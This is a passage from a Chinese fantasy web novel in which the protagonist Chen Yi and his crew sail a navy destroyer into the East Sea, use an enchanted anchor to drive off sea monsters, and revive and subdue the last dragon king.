就在这时,陈义脑海中的【病历铜镜】轻轻一震,浮现出全新的画面。
镜中不再是具体的某个地点,而是一片浩瀚无垠的深蓝色海洋。
神州东方的海域。
然而,此刻这片海域的中央,一个巨大无比的黑色旋涡正在缓缓形成,将周围的海水都染成了墨汁般的颜色。
在深处,一座坍塌的、水晶雕琢而成的宏伟宫殿群若隐若现。
宫殿已经残破不堪,但依旧散发着古老而威严的气息。
只是,这座宫殿里,空无一人。
一道道黑色的锁链从深处蔓延而出,缠绕着这座水晶宫,仿佛要将它彻底拖入深渊。
而在水晶宫的上方,一行触目惊心的血色大字缓缓浮现。
【病灶:东海龙宫,无主空悬。】
【诊断:龙宫崩毁,东海之主缺位,引万千海中妖邪觊觎,欲争**柄,化身伪龙,侵吞神州**海疆气运。若不及时拨乱反正,三日之内,东海沿岸将有赤地千里之祸。】
陈义的眉头,第一次真正地皱了起来。
泰山帝陵,是历史遗留的沉疴。
长城恸哭,是千年累积的旧债。
昆仑龙脉,是突如其来的外伤。
而这东海龙宫,却是镇守一方的“藩王”没了,导致群魔乱舞,要祸乱疆土!
这比之前任何一次都要棘手!
因为这次他要面对的,不是一个固定的敌人,而是整个东海的混乱秩序!
“嗡嗡嗡——”
口袋里的红色专线电话急促地响了起来。
陈义接通,秦老那焦急万分的声音立刻传来。
“陈义!出大事了!我们的东海舰队刚刚传来紧急报告,从东海海域中央,传来一股极其恐怖的能量波动,我们部署在海底的所有声呐和监测设备,在三分钟内全部失效!”
“不止如此,从浙省到鲁省,**海岸线上,所有的渔船都疯了一样往港口里跑,渔民们说,海里……海里好像有什么恐怖的东西要出来了!”
听着秦老的报告,陈义的目光依旧锁定在脑海中的【病历铜镜】上。
他看着那座正在被黑暗吞噬的水晶宫,看着那些蠢蠢欲动的海中妖邪。
“我知道了。”
陈义的声音平静,却带着一股不容置喙的决断。
“你知道了?”秦老一愣,“这到底是怎么回事?”
“东海龙王**,龙宫塌了,现在一群虾兵蟹将,想抢那张龙椅。”陈义淡淡地解释道。
电话那头,陷入了死一般的寂静。
过了足足半分钟,秦老才用一种梦呓般的声音问道:“那……我们该怎么办?”
陈义走到密室门口,对着外面喊了一声。
“胖三!”
“哎!八爷,啥事?”胖三屁颠屁颠地跑了过来。
陈义看着他,嘴角扯出一个冰冷的弧度。
“去,把咱们吃饭的家伙都带上,再准备好最大号的渔具。”
“渔具?”胖三满脸问号,“八爷,咱们不抬棺,改行钓鱼了?”
陈义转过身,迈步走出老宅,目光投向遥远的东方天际。
“这次,咱们出海。”
“去东海龙宫,钓一条真龙回来。”
第146章 今日,我来东海钓龙王!
电话那头,是死一般的寂静。
秦老戎马一生,听过的机密报告堆起来能烧三天三夜,可陈义这句“东海龙王**”,还是让他脑子里“嗡”的一声,仿佛被一记看不见的重锤狠狠砸在天灵盖上。
龙王……**?
这三个字,每一个都重若泰山,砸得他这位久经沙场的老人,半天没能言语。
这已经不是什么秘密报告能解释的范畴,而是直接掀翻了神州自古以来神话体系的牌桌。
“八爷,钓鱼?”
胖三凑了过来,脸上肥肉挤成一团,满是困惑。
“咱们是抬棺的,这跨界是不是有点大?要不……我先去网上报个班,考个海钓证?”
“考证?”
陈义瞥了他一眼,眼神淡漠。
“你觉得东海里那帮东西,认劳动局发的证吗?”
他顿了顿,目光仿佛穿透了密室的墙壁,望向遥远的东方,声音平淡却带着一股理所当然的霸道:
“龙王没了,龙椅空着,总得有个新的坐上去。”
“与其等着那帮杂鱼烂虾打出个结果,爬上去一条祸害沿岸的伪龙,不如咱们亲手钓一条听话的上来。”
电话那头的秦老终于找回了自己的声音,干涩而艰难:“陈义同志……你的意思是……”
“给我准备一艘能开到东海中心的船,最快的。”
陈义直接打断了他。
“另外,清空那片海域,我钓鱼的时候,不喜欢有闲杂人等围观。”
“……明白!”
秦老没有再问。
他知道,当陈义用这种口气说话时,他需要的不是疑问,而是执行。
挂断电话,陈义转身看着一脸懵懂的义字堂兄弟们。
“都愣着干什么?准备家伙。”
“八爷,还是……还是那些杠木、法器?”大牛瓮声瓮气地问。
“不。”
陈义摇头。
“这次,换一套。”
他看向胖三:“去,给我找一口最沉的古锚,要那种在海底沉了至少五百年,最好是跟着一艘万**船沉下去,锚身上缠满了溺亡怨气的那种。”
胖三一愣:“八爷,这玩意儿得上哪儿淘去?潘家园可没这号啊。”
“我不管你用什么办法,找秦老要也好,找摸金门那帮人打听也罢,三天之内,我要见到东西。”陈-义的语气没有一丝商量的余地。
他接着说:“再准备九千九百九十九丈的玄铁链。”
“八爷,这……这玩意儿比泰山那九十九套纸扎还难搞啊!”胖三脸都绿了。
“那就用**血和朱砂,混着深海粗盐,给我泡上三天三夜。”
“好嘞!”
陈义又转向大牛:“大牛,等锚到了,把锚爪给我磨尖了,我要它能钩住龙魂。”
大牛重重点头,眼中闪过一丝嗜血的兴奋。
“猴子,老七,缚龙索不够长,到时候接上玄铁链。我要你们在链子上,每隔九寸,给我用金刚砂刻上一道避水符,一道镇海咒。”
“是,八爷!”两人立刻应声。
整个义字堂,这台为了死亡而生的精锐机器,再次以一种外人无法理解的方式,为了一个荒诞不经的目标,高速运转起来。
三天后。
东海某秘密军港。
一艘神州最先进的055型万吨级**驱逐舰,如一头钢铁巨兽,静静地停泊在码头。
舰上,全副武装的海军士兵列队肃立,目光锐利,气氛庄严肃穆。
然而,当一辆重型军用卡车缓缓驶来,车斗里那件用油布包裹的“货物”被吊装上甲板时,所有见惯了先进武器的士兵,眼神都变了。
那是一口巨大无比的古船锚。
通体漆黑,布满了深可见骨的锈迹和凝固的海床附着物,隔着老远都能闻到一股刺鼻的铁锈味和千年不散的咸腥。
它散发着一股令人心头发毛的阴冷气息,只是看着,就仿佛能听到无数溺死之魂在耳边缠绕哀嚎。
旁边,还有一箱箱盘得整整齐齐,浸泡在血红色液体里,散发着浓烈腥气的玄铁锁链。
义字堂八人,一身黑色劲装,簇拥着这些恐怖的“渔具”上了舰。
为首的陈义,神情淡然,仿佛不是来执行什么九死一生的任务,而是真的出海度假。
一位肩扛将星的海军将领快步迎了上来,对着陈义敬了个标准的军礼。
“陈先生!奉秦老之命,‘东风号’及全体船员,听候您的调遣!”
陈义微微点头:“按预定航线,全速前进。”
“是!”
巨大的驱逐舰拉响汽笛,缓缓驶离港口,如同一柄黑色的利剑,劈开万顷波涛,朝着风暴汇聚的东海中心疾驰而去。
越是向深海航行,天色就越是阴沉。
原本蔚蓝的天空被铅灰色的乌云笼罩,海面也从湛蓝变成了令人不安的墨绿色,最后,彻底化为一片死寂的漆黑。
舰桥内,各种先进的雷达和探测设备屏幕上,全是刺眼的雪花和乱码。
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“报告!所有声呐探测失效,我们……我们成了
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瞎子和聋子!”
“报告!前方……前方海域出现超巨型重力异常!”
舰长脸色惨白,冷汗直流,但他依旧死死握着传声器,目光望向那个站在舰首甲板上,一动不动的身影。
只要那个人还在,这艘代表着人类最高工业结晶的战舰,仿佛就有了主心骨。
陈义站在狂风之中。
夹杂着咸腥水汽的飓风吹得他衣衫猎猎作响,身形却稳如泰山。
在他的【六道轮回鳞】视野里,眼前的景象远比雷达屏幕上显示的要恐怖万倍。
整片东海的气运,都汇聚于前方,形成了一个直径超过百里的巨大黑色旋涡。
那不是水流。
那是由无尽的怨气、妖气、杀气混合而成的能量风暴。
无数奇形怪状的庞大黑影,若隐若现,为了争夺龙宫逸散出的最后一丝龙气,正进行着最原始、最血腥的厮杀。
有身长百丈,头生独角的狰狞海**。
有大如山岳,挥舞着触手搅动风云的巨型乌贼。
还有无数陈义连在古籍中都未曾见过的深海凶兽。
它们,都是龙椅的候选者。
“八爷,到了。”
胖三艰难地走到他身边,脸色发白。
“这……这动静也太大了吧?咱们这小船,够人家塞牙缝吗?”
“船是用来站人的,不是用来打架的。”
陈义转过身,看着已经被兄弟们合力抬到甲板边缘的巨型古锚和玄铁链。
他走到那口古锚前,没有用血,也没有念咒,只是缓缓伸出右手,将手掌按在了冰冷的锚身上。
掌心处,那枚融合了无数权柄的【人皇印】,微微一亮。
“嗡——”
一声仿佛来自太古洪荒的嗡鸣,从古锚内部响起。
那缠绕其上的千年沉船怨气,瞬间被一股至高无上的皇道龙气涤荡一清,取而代之的,是一种君临天下、敕令四海的无上威严。
“以人皇之名,敕令东海。”
陈义的声音不大,却清晰地盖过了呼啸的风暴,传入每个人的耳中。
“此为定海之锚,亦为……钓龙之饵!”
话音落,古锚上的铁锈仿佛活了过来,竟自行剥落,露出下面闪烁着暗金色光泽的本体。
陈义收回手,环视一圈面色凝重的兄弟们,嘴角扯出一个冰冷的弧度。
“义字堂,听令!”
“在!”
七个嘶哑却充满力量的吼声,在狂风中汇成一股。
陈义手臂猛地一挥。
“起钩!”
“抛竿!”
第147章 一字喝退东海万妖!真正的龙王,上钩了!
一声“起钩!抛竿!”,是砸在“东风号”甲板上的惊雷。
“吼!”
大牛第一个响应。
他山岳般的身躯骤然下沉,双臂肌肉贲张,青筋如龙蛇盘绕,竟将那口万钧古锚从甲板上硬生生抱离。
那不是野蛮的暴力,而是一股气力合一的宗师巧劲。
“走你!”
胖三扯着嗓子嘶吼,与猴子、老七、大牛四人合力,将这口散发着皇道威严的古锚,奋力荡向那片漆黑如墨的巨大旋涡。
呼——
古锚撕裂长空,风声凄厉。
它没有砸出预想中的滔天水花,反而像一滴滚油落入沸水,无声无息地便被那片能量风暴吞噬。
紧接着,是玄铁链。
哗啦啦啦啦!
那浸泡了三天三夜**血与朱砂的九千九百九十九丈玄铁链,活了。
它化作一条狰狞的黑色怒龙,自行从箱中挣脱,裹挟着刺鼻的血腥与咸腥,疯狂地追随古锚冲入深海。
链身上,由金刚砂刻下的避水符与镇海咒,在接触到妖异黑水的瞬间,齐齐亮起微光,护住链身,不被那灭绝生机的妖气侵蚀。
整艘万吨级的驱逐舰,都因这股巨大的惯性,猛地一震。
舰桥内,海军将领和士兵们死死抓着身边的固定物,脸色惨白。
他们的世界观,今天,被这群土掉渣的“渔夫”,用最原始狂野的方式,砸了个粉碎。
古锚入水,如帝王驾临。
那被陈义加持过的【人皇印】气息,在深海中悍然引爆。
旋涡深处,原本为争夺龙气而疯狂厮杀的无数深海凶兽,动作在同一瞬间凝固。
它们猩红、惨绿、幽蓝的巨大眼瞳,不约而同地转向古锚沉下的方向。
那不是食物。
那是一种来自血脉源头、来自生命本能的至高召唤。
那口古锚,此刻便是东海龙宫空悬的王座,是它们褪去兽身、化身为龙的唯一道途!
“嗷——”
一头身长百丈、头生独角的狰狞海**最先反应过来,它发出贪婪的咆哮,巨尾一甩,搅动万吨海水,第一个朝古锚扑去。
这是信号。
霎时间,整个黑色旋涡彻底沸腾!
山岳般的巨型乌贼收起触手,八条腕足化作巨桨,疯狂划动。
背负岛屿般甲壳的万年巨龟睁开浑浊龙眼,爆发出与其体型不符的惊人速度。
无数奇形怪状的深海巨怪,放弃了彼此,化作一道道庞大黑影,从四面八方,疯了一般地冲向那唯一的“王座”。
混乱的战场,瞬间变成了一场目标明确的亡命冲锋。
“八……八爷……”胖三看着雷达屏幕上无数红点汇聚成一个更恐怖的光团,双腿发软,声音都在打颤,“咱们这是……捅了海鲜窝了?这一网下去,别把地球都给拉出轨道吧?”
陈义负手立于舰首,面无表情。
“慌什么。”
他声音很淡。
“一帮没开化的畜生,也想**?它们也配?”
话音刚落。
绷——!
九千九百九十九丈的玄铁链猛然绷紧,被拉得笔直,发出刺耳的金属哀鸣。
一股无法想象的巨力从深海传来!
“东风号”驱逐舰被这股力量猛地一拽,舰首竟被硬生生拉得下沉了半米!
“**!”胖三一个踉跄,直接坐倒在甲板上,“咬钩了!咬钩了!八爷,这劲儿不对!感觉对面挂了头鲸鱼!”
“不止一头!”猴子死死抓着锁链,双臂青筋暴起,嘶吼道,“是那帮畜生在抢钩!”
义字堂七人,此刻以大牛为首,布下简易阵型,将玄铁链末端死死锁在身上和甲板的固定桩上。
饶是他们个个力能扛鼎,也被这股来自海底万妖的合力,拽得身形剧晃,脚下的特种钢甲板,发出不堪重负的呻吟。
“吼!”
大牛双脚死死钉在甲板上,上半身肌肉坟起,化作一尊怒目金刚,口中发出野兽般的咆哮。
就在这时。
深海之下,那头狰狞海**已张开血盆大口,一口咬在了古锚之上。
它以为自己咬到了无上权柄。
下一秒。
“嗡——”
古锚之上,陈义注入的皇道龙气骤然爆发,化作一道无形神剑,顺着海**的牙齿,直刺它的神魂!
“嗷!!!”
海**发出凄厉到极点的惨嚎,足以咬碎钢铁的巨口瞬间血肉模糊,庞大的身躯在海底疯狂翻滚,搅得天翻地覆。
它想松口,却发现那古锚带着一股霸道吸力,死死黏住了它。
皇威,不可犯!
其余巨兽见状,非但没有退缩,反而更加疯狂。
它们明白,
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谁能第一个吞下这古锚,谁就是新王!
无数攻击落在海**身上,瞬间将其撕成碎片。
更多的巨兽,前仆后继地扑向那口散发着致命诱惑的古锚。
玄铁链上的力道,一波强过一波。
“东风号”被拽得左右剧烈摇晃,仿佛下一秒就会被拖入深渊。
陈义终于动了。
他缓步走到绷直的玄铁链前,无视兄弟们狰狞痛苦的表情,只是伸出右手,轻轻按在了那冰冷、震颤的锁链上。
他没有用力,只将一股意念,顺着锁链,传递了下去。
“杂鱼,也配染指龙庭?”
声音不大,却带着天地的律令。
“滚。”
一个字,顺着玄铁链,直入九千米深海,在那口古锚上轰然炸开!
轰隆——!
一股无形的金色冲击波,以古锚为中心,狂暴地向四周扩散。
所有扑上来的深海巨兽,无论体型,无论道行,在接触到这股蕴含【人皇印】无上威严的冲击波时,都如遭雷击。
神魂剧痛,血脉被死死压制。
那是来自生命层次最顶端的绝对碾压。
恐惧,瞬间淹没了贪婪。
无数庞大的黑影在深海中惊恐哀嚎,争先恐后地向后逃窜,再不敢靠近那口古锚分毫。
一字,喝退万妖!
甲板上,胖三等人身上压力骤然一空,齐齐松了口气,瘫坐在地,大口喘着粗气。
玄铁链,松了。
然而,这松弛仅仅持续了不到三个呼吸。
忽然,锁链再次被一股力量缓缓拉直。
这一次,不再是狂暴混乱的争抢。
而是一种沉重、古老,仿佛能将整片东海都压在身上的无匹伟力。
那股力量平稳而霸道,不容抗拒。
“东风号”的舰首,被这股力量,缓缓地、坚定地向下拉去。
整艘万吨巨轮,竟被硬生生拖动了!
胖三等人刚刚放下的心,瞬间又提到了嗓子眼。
他们惊恐地看着那根再次绷紧的锁链,以及被缓缓拖动的战舰。
陈义却笑了。
那是一种猎人看到真正猎物时,才会露出的,冰冷而满意的笑容。
他松开按在锁链上的手,转头看向身后已经面无人色的兄弟们。
“都站稳了。”
“正主儿……上钩了。”
第148章 一指断沧海,老龙王,给我抬头!
那股力量,与之前万妖争食的狂乱截然不同。
它不暴躁,不混乱,却浩瀚如渊,沉重如狱。
仿佛拽着锁链的不是什么活物,而是整片东海大陆架,正以一种无可违逆的意志,缓缓向地心沉降。
“吱嘎——嘎吱——”
九千九百九十九丈的玄铁链被拉成一道死亡的直线,每一节链环都在发出濒临崩断的哀鸣。
万吨级的“东风号”驱逐舰,这头钢铁巨兽,在它面前竟像个无助的孩童,被硬生生拖拽着。
舰首破开水面,激起一人多高的浪花,整个船身都在以肉眼可见的角度倾斜。
舰桥内,警报声已经响成一片。
“报告!船体倾斜超过十五度!左舷引擎过载!”
“动力系统无法对抗!我们在被拖动!”
海军将领死死抓着控制台,额上青筋暴起,双目赤红地盯着舷窗外那个负手而立的身影。
他的世界观,他的军事常识,在这一刻被碾得粉碎。
甲板上,义字堂众人才是真正承受这份伟力的人。
“啊啊啊——!”
大牛脖颈涨得紫红,双臂肌肉虬结,根根血管如同要爆开的蚯蚓。
他脚下的特种钢甲板,已经被他双脚硬生生踩出了两个凹陷的脚印。
可即便如此,他的身体还是在被寸寸向前拖拽。
猴子和老七等人,早已将缚龙索的另一端死死缠在舰身的固定桩上,七人合力,却依旧节节败退。
那股力量,根本不是人力所能抗衡。
“八……八爷……”
胖三一张脸煞白如纸,牙齿都在打颤,他几乎是哭着喊出来的。
“这……这他妈挂上来的是东海龙宫吧?!船要被拖进去了!要翻了!要翻了啊!”
陈义没有回头。
他只是静静地看着那根绷直如弓弦的玄铁链,感受着从深海传来的那股古老、苍凉、却又霸道至极的意志。
那不是恶意,也不是贪婪。
而是一种与生俱来的,属于王者的孤独与威严。
它似乎对那口古锚上的皇道龙气产生了兴趣,但又不屑于像那些杂鱼一样争抢,只是用最直接的方式宣告自己的存在——我看上了,它就是我的。
“有点意思。”
陈义终于开口,声音不大,却清晰地压过了海风与金属的呻吟。
他缓步上前,再次走到了那根震颤的玄铁链旁。
兄弟七人已经拼尽全力,个个七窍都渗出了细微的血丝,这是气力耗尽,伤及本源的征兆。
“松手。”陈义淡淡道。
“八爷?!”猴子嘶吼道,“松手船就完了!”
“我让你们,松手。”
陈义的语气里,没有情绪,却带着不容置疑的绝对。
大牛等人虽然不解,但对陈义的命令已经深入骨髓。
他们对视一眼,猛地一咬牙,几乎在同一时间松开了手。
轰——!
失去了所有束缚,那股恐怖的巨力瞬间完全作用在“东风号”上。
整艘驱逐舰猛地向下一沉,舰首几乎要没入水中,船身发出的巨响,如同巨兽临终的悲鸣。
就在这千钧一发之际。
陈义伸出右手,食指与中指并拢,在那根因极致拉伸而滚烫的玄铁链上,轻轻一弹。
叮——!
一声清脆的金石交击之声。
并不响亮,却带着一种奇异的穿透力,顺着玄铁链,瞬间传遍九千米深海。
紧接着,他开口了。
“我请你上来喝杯茶,不是让你拆我的船。”
“抬、头。”
平平淡淡的七个字。
却仿佛是这天地间最古老的律令。
话音落下的瞬间,那股足以拖动万吨巨轮的无匹伟力,骤然消失了。
仿佛从未存在过。
玄铁链猛地一松,哗啦啦地垂落下去,在甲板上堆成一堆。
“东风号”也因为惯性猛地向上回弹,激起滔天巨浪,船身剧烈摇晃,好半天才稳定下来。
“呼……呼……呼……”
义字堂众人齐齐瘫倒在地,胸膛剧烈起伏,大口大口地呼吸着咸腥的空气,每个人都像是刚从水里捞出来一样,浑身湿透。
劫后余生的恐惧,让他们一句话也说不出来。
胖三更是四仰八叉地躺在甲板上,翻着白眼,喃喃自语:“完了……完了……我这身膘,差点就喂了王八了……”
陈义没有理会他们。
他依旧站在舰首,目光穿透海面,望向那片恢复了平静的深海。
他知道,刚刚那不是对方退缩了。
而是,它听懂了他的“规矩”。
它,要上来了。
寂静。
死一般的寂静。
海风停了,浪潮歇了。
整个世界仿佛被按下了静音键。
那片原本妖气冲天的黑色旋涡,不知何时已经消失,取而代之的,是一片深邃到令人心悸的幽蓝。
海水,变得前所未有的清澈。
紧接着,一抹微光,从海底深处亮起。
那光芒初时微弱,如同萤火,但转瞬间便开始疯狂扩张,越来越亮,越来越盛大。
金色。
是纯粹到极致的,帝王之金。
轰隆隆——
低沉的闷响从海底传来,整片海域都开始震动。
那不是地震,而是有一个无比庞大的存在,正在从海底向上升起。
“快看!那是什么!”舰桥里,有年轻的士兵发出惊恐的尖叫。
只见那片金色光芒的中央,海水正以一个不可思议的姿态向上隆起,形成一个直径超过百米的巨大水包。
水包越升越高,将海平面都抬升了数十米。
终于。
哗啦——!
水包
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破裂,漫天金色的雨点洒落。
一个巨大头颅,缓缓地、庄严地,破开了海面。
那一瞬间,天地失色。
所有人都停止了呼吸。
那是一颗龙首。
一颗真正的,只存在于神话传说中的,华夏真龙的头颅!
它的体型比“东风号”驱逐舰还要庞大,两根龙角苍劲如古树,刺破云霄。
每一片龙鳞,都有井盖大小,闪烁着古老而黯淡的金色光泽,上面布满了岁月的刻痕与伤疤。
它的一双龙目,大如湖泊,瞳孔是熔金般的竖瞳。
当那双眼睛睁开,望向甲板上渺小如蝼蚁的众人时,一股源自血脉、源自灵魂最深处的威压,瞬间笼罩了全场。
那不是杀气,也不是恶意。
而是一种生而为“神”的,对凡俗生灵的漠视。
“扑通!扑通!”
甲板上,除了陈义,义字堂其余七人,连同舰桥内所有的海军官兵,全都不由自主地双腿一软,跪倒在地。
那不是**,而是在面对生命层次的绝对碾压时,身体最本能的臣服。
胖三跪在地上,仰着头,张大了嘴,口水顺着嘴角流下来都毫无知觉。
他脑子里一片空白,只剩下两个字在疯狂回响。
“**……”
这条真龙,实在是太老了。
它的气息虽然浩瀚,却带着一丝暮气沉沉的衰败。
金色的鳞片光泽暗淡,甚至有几处已经脱落,露出下面灰败的皮肉。
它的眼神,也并非传说中的睥睨霸道,而是充满了无尽的疲惫与苍凉。
一位行将就木的末代帝王。
它缓缓抬起头,视线越过所有人,最终定格在了陈义的身上。
在那双古老的龙目中,终于有了一丝情绪的波动。
不是因为陈义的力量,而是因为陈义眉心处,那枚若隐若现的,代表着人道至高权柄的【人皇印】。
它认得这个印记。
它的祖辈,曾追随过这个印记的主人,征战四方,定鼎神州。
一声悠远、苍凉的龙吟,在每个人心底响起。
那声音里没有咆哮,只有一声跨越了千古的叹息。
它缓缓低下那颗比山岳还沉重的头颅,两根顶天立地的龙角,几乎要触碰到“东风号”的甲板。
这是一个臣服的姿态。
一个末代龙王,对当代人皇的,至高敬礼。
陈义看着它,神色平静。
他知道,自己钓对了。
这不是什么妖邪,而是东海龙族最后的血脉,是那位早已逝去的老龙王,真正的子嗣。
它一直沉睡在东海最深处,苟延残喘,直到被那口蕴含人皇气息的古锚惊醒。
“从今天起。”
陈义迎着那双巨大的龙目,缓缓开口。
“东海,归你管。”
“而你,归我管。”
第149章 拜见龙王?不,是龙王拜我!
那颗山岳般的龙首,就这么静静悬在海面。
古老,疲惫,苍凉。
它没有发出声音,一股宏大而悲伤的意念,却如无声的海啸,冲刷过在场每一个人的灵魂。
那是从上古时代流淌至今的记忆洪流。
龙族曾随人皇定鼎神州,镇守四海,何其荣耀。
而后,天地剧变,灵气衰竭,神州龙脉几度断绝。
作为护持者的龙族,血脉一代代枯萎,神通一天天退化。
到了它这一代,已是东海最后的王。
它不是**。
是活得太久,太累。
它只能沉入最深的海沟,以龟息之法苟延残喘,用自己衰败的身躯,勉强维系着东海最后的秩序。
直到今日,那枚刻在它血脉最深处、代表着至高契约的人皇印,重新出现在这片大海上。
它不是被钓上来的。
它是来……朝圣的。
陈义看着它,那双巨眼中,不再是漠视,而是一种近乎于油尽灯枯的恳求。
它在求一个解脱。
或者说,它在为人族与龙族最后的契约,求一个结局。
“八爷……这……这……”
胖三跪在地上,浑身抖得像个筛子,他想说点什么,却发现自己的牙根都在发酸,一个字都挤不出来。
眼前这位,已经超出了他全部的认知。
以前见的凶物、尸王,跟这位比起来,简直是路边的野狗和真正的猛虎。
不,是尘埃与山脉。
“都起来吧。”
陈义的声音打破了死寂。
他一开口,那股源自生命层级的恐怖威压,竟真的如潮水般退去。
胖三和大牛等人如蒙大赦,一个个手脚发软地从甲板上爬起来,可没一个人敢站直身子,全都弓着腰,连大气都不敢喘,偷偷用眼角余光去瞥那尊大神。
“东海,归你管。”
陈义重复了一遍,声音不大,却字字千钧。
“而你,归我管。”
老龙王那山峦般的头颅,微微动了一下,默认了。
但它眼中的疲惫与衰败,却更浓重了。
它承认这规矩。
可它,已经没有力气去执行规矩了。
“我知道你快**。”
陈义直言不讳。
“油尽灯枯,血脉衰败,连**几个不成气候的海妖都费劲。你守不住东海,更没资格替我管这片海。”
这话一出,空气瞬间凝固。
一股淡淡的悲凉与不甘,从老龙王身上散发出来。它没有愤怒,只有末路英雄的无奈。
胖三吓得差点又跪下去,心里哀嚎:我的爷啊!您跟谁都这么聊天吗?这可是真龙!一尾巴能把这艘船拍成铁饼的真龙啊!
“但是,”陈-义话锋一转,向前踏出一步,直面那双大如湖泊的龙目,“我既然来了,这规矩就得立。你既然认我这枚印,那你这条命,就不能这么窝囊地没了。”
他缓缓抬起右手。
眉心处,那枚古朴的人皇印大放光明。
那不是霸道,不是敕令。
而是一种承诺。
“我以当代人皇执绋人的名义,颁下法旨。”
“许你东海龙族,再续一脉香火。”
“我赐你身为王者的尊严。”
“你还我这**海疆的安宁。”
话音落下,陈义并指如剑,对着自己的左手掌心,轻轻一划。
一滴殷红中带着点点紫金光泽的神血,从伤口处渗出,悬浮于半空。
这滴血出现的瞬间,老龙王那双古井无波的龙目,猛地爆发出炙热的光!
它能感受到,那滴血中蕴含的,是何等精纯磅礴的生机与国运!
那是被炎黄令、社稷鳞、人皇印层层淬炼过的,属于陈义,也属于这片神州大地最本源的力量!
“张嘴。”
陈义命令道。
老龙王没有丝毫犹豫,它那深渊般的巨口,缓缓张开一道缝隙。
陈义屈指一弹。
那滴紫金色的神血,化作一道流光,瞬间没入龙口之中。
“轰——!”
血液入体的刹那,一声沉闷如雷的巨响,从老龙王的体内爆发。
紧接着,让所有人灵魂颤栗的一幕发生了。
老龙王庞大的身躯剧烈颤抖。
一片片井盖大小、光泽暗淡的古老龙鳞,开始“咔咔”作响,从它身上剥落,如同下了一场金色的暴雨,坠入海中,激起无数浪花。
每脱落一片旧鳞,下面便会以惊人的速度,锻造出全新的鳞片!
新生的龙鳞,不再是带着暮气的暗金,而是灿烂、厚重,由纯金浇筑而成的辉煌!上面流淌着玄奥的纹路,充满了**性的力量感。
它身上那些早已腐朽、露出灰败皮肉的伤口,在金光流转间迅速愈合。
那两根枯木般的龙角,顶端竟重新焕发出玉石般温润的光泽。
它的整个身躯,都在发生着翻天覆地的蜕变!
沉沉的暮气被一扫而空。
取而代之的,是浩瀚、威严、君临天下的王者之气!
它不再是那位行将就木的末代帝王。
而是重登王座的,东海之主!
“吼——!”
一声惊天动地的龙吟,响彻云霄!
这一次,不再是悲凉的叹息,而是充满了力量与喜悦的咆哮!
音波所过之处,海面上那因万妖争霸而形成的气运旋涡,轰然破碎。
漆黑如墨、妖气冲天的海水,迅速变得清澈、蔚蓝。
整片东海,仿佛都在这一声龙吟中,被彻底净化。
深海之中,那些还在蠢蠢欲动的巨妖们,在这声龙吟之下,齐齐发出惊恐的悲鸣,疯了一般向着更深、更黑暗的海沟逃窜。
王的回归,让一切宵小之辈,肝胆俱裂。
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蜕变完成的老龙王,身躯似乎缩小了一些,气息却比之前强盛了何止百倍。
它再次低下那颗高贵的头颅,这一次,不再是恳求,而是最真诚的,臣服与感谢。
它那双熔金般的竖瞳,深深地看了陈义一眼。
随后,庞大的身躯缓缓沉入海中,没有激起一丝波澜。
海面,恢复了平静。
仿佛刚才那毁天灭地、神话降临的一幕,从未发生过。
甲板上,死一般的寂静。
良久。
“咕咚。”
胖三狠狠咽了口唾沫,颤颤巍巍地从地上爬起来,跑到船舷边,探着脑袋往清澈的海水里看,一边看一边小声嘀咕:
“我……我的妈呀……刚才掉下去那么多鳞片,一片得有百十来斤吧?纯金的啊!这要是捞上来一片……不,半片!我下半辈子……不,我下下下辈子都不用愁了啊!”
猴子一脚踹在他屁股上,骂道:“钱串子!出息点!那是金子吗?那是龙鳞!神仙见了都得绕道走的东西,你还想捞?”
“我这不是寻思着……给八爷的座驾镶个边儿嘛……”胖三揉着屁股,一脸谄媚地看向陈义。
陈义没理他,只是掏出根烟点上,深深吸了一口,缓缓吐出。
烟雾缭绕中,他看着风平浪静的海面,眼神平静。
“病历铜镜”中,代表东海的区域,那片象征着“主位空悬,万妖作乱”的巨大黑色病灶,此刻已经彻底消失。
取而代之的,是一个稳定而璀璨的金色光点。
光点中央,一条小小的金龙虚影,正在欢快地盘旋。
成了。
就在这时,他口袋里的卫星电话响了。
是秦老的。
陈义接起电话,还没开口,那边就传来了秦老急切无比的声音。
“小义!东海!东海那边到底发生了什么?我们的所有监测设备,在五分钟前全部恢复正常!气象卫星显示,那片持续了半个月的超级气旋,凭空消失了!海域能量指数……从爆表直接掉到了正常值!你……”
秦老一连串的问题,显示出他此刻的震惊已经到了无以复加的地步。
“哦。”
陈义弹了弹烟灰,语气平淡得像是在说一件微不足道的小事。
“钓鱼佬永不空军。”
“鱼钓上来了,个儿挺大,也挺听话。”
“跟它聊了聊,以后这片海,它罩着。没事了。”
电话那头,陷入了长达半分钟的死寂。
秦老似乎在消化这几句信息量**的话。
“收……收到。”许久,秦老的声音才再次响起,带着一种哭笑不得的疲惫感,“注意安全,尽快返航。”
挂了电话,陈义将烟头掐灭,扔进海里。
“收工。”
他转身,对着身后那群还处于呆滞状态的兄弟们摆了摆手。
“回家。”
第150章 老朽登门,讨一笔五千年的旧账!
东风号驱逐舰破开深蓝色的海浪,舰艏拉出两道雪白的航迹,朝着大陆的方向全速返航。
甲板上,那股源自神话纪元的恐怖威压早已散尽,但空气里似乎还残留着一丝若有若无的龙涎香,以及某种沉甸甸的敬畏。
“我的妈呀……”
胖三第一个从地上爬起来,连滚带爬地冲到船舷边,探着半个身子往海里瞅,一张胖脸皱得跟个苦瓜似的。
“刚才,刚才那老龙王换鳞,掉下去多少宝贝啊!”
他比划着一个夸张的大小:“井盖那么大!一片得有百十来斤吧?那可是纯金的!泡过海水的万年老金!这要是捞上来一片……不,就半片!我下半辈子,不,我下下下辈子都不用愁了啊!”
他越说越激动,唾沫星子横飞,仿佛已经看到自己躺在金山银山上打滚。
砰!
猴子一脚踹在他肥硕的屁股上,骂道:“钱串子!瞧你那点出息!那是金子吗?那是龙鳞!真龙的鳞!神仙见了都得绕道走的东西,你还想捞?给你个胆子你敢下水吗?”
“我这不是寻思着……给八爷的座驾镶个金边儿嘛……”胖三揉着屁股,一脸谄媚地回头看向陈义,小眼睛里全是算计。
大牛和其余几个兄弟没说话,只是默默地站起身,拍了拍身上的灰。
他们不像胖三那样满脑子黄金,但眼神里的震撼却一点不少。
他们看向陈义的背影,那目光里,除了以往的敬服,更多了一种难以言说的距离感。
以前的八爷,是他们的主心骨,是领着他们吃饭的宗师。
现在的八爷……已经不是他们能揣度的存在了。
陈义没有回头,他靠着栏杆,又点上了一根烟。
只是这次,夹着烟的手指,有那么一丝微不可察的颤动。
那滴血,不是普通的血。
那是他以自身为鼎炉,熔炼了国运、地脉、人道气运,才淬炼出的本命精血。
